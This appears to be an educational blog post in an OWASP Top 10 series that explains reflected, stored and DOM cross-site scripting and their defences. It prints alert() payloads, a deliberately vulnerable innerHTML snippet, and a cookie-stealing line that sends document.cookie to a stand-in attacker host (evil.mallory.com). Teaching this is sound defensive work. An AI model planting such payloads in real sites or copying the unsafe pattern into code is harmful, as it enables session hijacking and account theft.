OWASP Top 10: Cross-Site Scripting (XSS) (A7:2017)

Photo by Wai Siew
This is part of the OWASP Top 10 series covering the top 10 most critical web application security risks. If you've missed any of the previous security risks, check out the intro and overview.
Risk rating
Threat Agents
|
Exploitability
|
Weakness Prevalence
|
Weakness Detectability
|
Technical Impacts
|
Business Impacts
|
---|---|---|---|---|---|
Application Specific
|
Easy: 3
|
Widespread: 3
|
Easy: 3
|
Severe: 3
|
Business Specific
|
Average: 2
|
Common: 2
|
Average: 2
|
Moderate: 2
|
||
Difficult: 1
|
Uncommon: 1
|
Difficult: 1
|
Minor: 1
|
What is cross-site scripting?
A cross-site scripting vulnerability (also known as XSS) occurs when a web app allows a user to insert their own code into a webpage that can be seen by other users. The attack happens when a malicious user is able to insert malicious code into the web app. For example: an attacker could add some malicious JavaScript code that would render on other users' browsers. The malicious code could access victims' cookies to carry out a session hijack attack.
Such attacks may circumvent the same origin policy of websites, which is designed to stop different websites from sharing data -- keeping them separate. XSS attacks usually allow a malicious user to masquerade as another user and perform actions under that user's account. This can be particularly dangerous if an attacker is able to masquerade as a user with privileged access, such as an admin.
A cross-site scripting attack inserts malicious JavaScript code into a webpage. When a victim visits the infected website, they're exposed to the malicious code. Once inside the vulnerable application, the attacker can compromise users' interactions with the application. This might involve session hijacking, sensitive data exposure, etc.
Examples of cross-site scripting
There are three main types of cross-site scripting attacks:
Reflected XSS
This is the most simple type of XSS attack. It involves an attacker sending data to a vulnerable application as an HTTP request. The server responds immediately with the same, submitted data, in the response.
Consider the following URL:
https://www.website.com/page.php?data=hello+website
When we visit the above URL we receive the following HTML:
<p>Data: hello website</p>
Now we submit the following data as a malicious URL:
https://www.website.com/page.php?data=<script>alert("Bad things are happening!");</script>
Now when we visit the above URL, we receive:
<p>Data: <script>alert("Bad things are happening!");</script></p>
So if Mallory were to send Alice to the malicious URL, Alice would fall victim to the attack.
Stored XSS
A stored XSS attack (sometimes called a persistent or second-order attack) works in a similar way to the reflected XSS attack. Except this time, the malicious code is stored for a future user to view (instead of being displayed immediately).
In this attack, the malicious user submits data to the application. That malicious data is displayed -- unsanitised -- at some point in a future response.
Let's say a blog post allows users to submit comments:
https://www.myblog.com/submit_comment.php?data=hey+this+is+my+comment
The blog post's comment section now includes the data:
<p>Comments: hey this is my comment</p>
A malicious user submits the following data:
https://www.myblog.com/submit_comment.php?date=<script>alert("Bad things are happening!");</script>
All future visitors to the blog post will be exposed to the vulnerable JavaScript code:
<p>Comments: <script>alert("Bad things are happening!");</script></p>
This malicious code will persist in the comments section until it is removed.
DOM XSS
A DOM-based XSS attack (also called a DOM XSS) occurs when an application includes unsanitised client-side JavaScript code from an untrusted source. The untrusted JavaScript data is then included in the DOM (Document Object Model -- i.e. how web browsers construct web pages).
In the following example, a webpage gets a visitor's name and presents a custom greeting:
var name = document.getElementById('name').value;
var output = document.getElementById('output').value;
output.innerHTML = 'Hello, '+name+', welcome to our website';
But malicious JavaScript could be inserted into the name HTML element. Anyone viewing this webpage could be vulnerable to the XSS attack. In this example, the name element could be populated via a URL parameter, API, etc.
So how might Mallory hijack Alice's session with an XSS attack? Well, let's consider the following malicious JavaScript code:
document.write('<img src="https://evil.mallory.com/hijack.png?cookie=' + document.cookie + '" />')
The above code will create a new image element in the DOM. The source of the image is on Mallory's server and contains a parameter for the cookie data. If Alice visited this page during an active PHP session, Mallory would receive the following data:
cookie: PHPSESSID=62ng36c452ucb1dm0brlfdugg3
Mallory can now hijack Alice's session. All Mallory needs to do is create a new cookie on her web browser with the name PHPSESSID and value 62ng36c452ucb1dm0brlfdugg3 for the website domain. When she visits the website, she'll be masquerading as Alice.
This example session hijacking can be prevented by using a session cookie with the flags HttpOnly and Secure. With HttpOnly enabled, JavaScript cannot access the cookie. Therefore, the JavaScript call document.cookie would return null.
What's the impact of cross-site scripting?
Cross-site scripting attacks can have many implications, depending on the nature of the organisation and its application. As we saw in the above example, an attacker could leverage an XSS attack to conduct a session hijack, therefore masquerading as a different user. The attacker could then carry out any action that the user can perform. This includes reading data that the user has access to, capturing the user's login credentials, etc.
How to defend against cross-site scripting
Cross-site scripting attacks can be prevented by separating untrusted data input from active browser content and DOM processing. There are various ways to achieve this, which we explore below.
Many popular frameworks -- such as React, Angular, Django, Laravel, etc -- automatically escape XSS by design. However, it's important to understand the framework to determine scenarios where XSS might not be escaped, and implement appropriate solutions.
Escape untrusted data inputs based on the type of HTML output. For example, if URL parameters are displayed within the HTML body, consider how that data should be displayed. If specific data types are required (e.g. integer, string) then ensure unnecessary characters should be stripped out. If HTML input must be displayed in an HTTP response, use a suitable HTML parser and sanitiser to clean the HTML before displaying.
Use appropriate response headers to prevent XSS in HTTP responses that aren't meant to include any HTML or JavaScript. The Content-Type and X-Content-Type headers tell web browsers what type of data to expect and can respond appropriately.
Implement a Content Security Policy (CSP) as an added layer of security to mitigate XSS and other types of attacks. CSP adds a content-security-policy header (or, alternatively, an HTML meta element) and specifies which domains the web browser should consider trustworthy sources of data. For example: as an ultimate form of protection, a site that never intends to run scripts could block all scripts from executing.
More on OWASP Top 10
- OWASP Top 10: Intro
- OWASP Top 10: Injection (A1:2017)
- OWASP Top 10: Broken Authentication (A2:2017)
- OWASP Top 10: Sensitive Data Exposure (A3:2017)
- OWASP Top 10: XML External Entities (XXE) (A4:2017)
- OWASP Top 10: Broken Access Control (A5:2017)
- OWASP Top 10: Security Misconfiguration (A6:2017)
- OWASP Top 10: Cross-Site Scripting (XSS) (A7:2017)
- OWASP Top 10: Insecure Deserialisation (A8:2017)
- OWASP Top 10: Using Components with Known Vulnerabilities (A9:2017)
- OWASP Top 10: Insufficient Logging and Monitoring (A10: 2017)
Recent
Top 10 Web App Security Risks
-
OWASP Top 10: Intro
-
OWASP Top 10: Injection (A1:2017)
-
OWASP Top 10: Broken Authentication (A2:2017)
-
OWASP Top 10: Sensitive Data Exposure (A3:2017)
-
OWASP Top 10: XML External Entities (XXE) (A4:2017)
-
OWASP Top 10: Broken Access Control (A5:2017)
-
OWASP Top 10: Security Misconfiguration (A6:2017)
-
OWASP Top 10: Cross-Site Scripting (XSS) (A7:2017)
-
OWASP Top 10: Insecure Deserialisation (A8:2017)
-
OWASP Top 10: Using Components with Known Vulnerabilities (A9:2017)
-
OWASP Top 10: Insufficient Logging and Monitoring (A10: 2017)